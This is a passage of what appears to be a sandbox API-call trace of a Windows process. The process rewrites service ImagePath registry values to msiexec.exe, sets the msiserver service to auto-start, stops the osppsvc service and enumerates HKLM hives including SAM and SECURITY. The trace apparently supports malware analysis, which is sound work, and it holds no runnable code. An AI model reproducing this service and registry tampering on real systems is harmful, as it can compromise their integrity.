lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.966] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.966] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.966] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.966] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.966] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.967] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.967] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.967] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.967] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.967] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.967] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.967] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.967] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0248.967] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\msiexec.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\msiexec.exe" [0248.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0248.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0248.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0248.967] LocalFree (hMem=0x7e4b18) returned 0x0 [0248.967] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0248.968] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x2) returned 0x8038a0 [0248.968] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0248.969] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0248.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0248.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0248.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0248.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0248.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0248.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.970] RegCloseKey (hKey=0x154) returned 0x0 [0248.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0248.970] RegCloseKey (hKey=0x148) returned 0x0 [0248.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0248.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0248.970] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0248.970] CreateFileW (lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0248.970] GetLastError () returned 0x20 [0248.970] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0248.971] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0248.971] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0248.971] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x20) returned 0x803990 [0248.971] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0248.972] GetLastError () returned 0x425 [0248.972] CloseServiceHandle (hSCObject=0x803990) returned 1 [0248.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0248.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0248.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0248.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0248.972] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.972] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.973] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.973] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.973] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0248.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.974] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.974] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0248.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.974] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.974] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0248.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.976] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.976] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.976] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0248.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) 